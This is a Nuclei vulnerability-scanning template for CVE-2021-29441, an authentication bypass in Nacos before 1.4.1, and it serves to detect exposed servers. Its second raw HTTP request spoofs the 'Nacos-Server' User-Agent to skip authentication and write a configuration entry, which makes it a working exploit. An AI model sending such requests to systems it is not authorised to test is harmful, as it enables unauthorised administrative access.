Nacos <1.4.1 - Authentication Bypass

id: CVE-2021-29441

info:
  name: Nacos <1.4.1 - Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: |
    This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.

    In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true)
    Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that
    enables Nacos servers to bypass this filter and therefore skip authentication checks.
    This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
    This issue may allow any user to carry out any administrative tasks on the Nacos server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
  remediation: |
    Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441).
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
    - https://github.com/alibaba/nacos/issues/4701
    - https://github.com/advisories/GHSA-36hp-jr8h-556f
    - https://github.com/alibaba/nacos/pull/4703
    - https://github.com/bakery312/Vulhub-Reproduce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-29441
    cwe-id: CWE-290
    epss-score: 0.96598
    epss-percentile: 0.99603
    cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: alibaba
    product: nacos
  tags: cve2021,cve,nacos,auth-bypass,alibaba

http:
  - raw:
      - |
        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: Nacos-Server

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 403"
          - "status_code_2 == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body_1, 'Forbidden')"
          - "body_2 == 'true'"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"
# digest: 4b0a00483046022100c8f6e5b49ec78c3583d2a7ff0a3f4cf62b8310ee7956fcde381ed13ba7d30767022100fe6dd0baed8b64e99e050bd2998107dcf78755160d6064bfea8bb2b15e5b0b3a:922c64590222798bb761d5b6d8e72950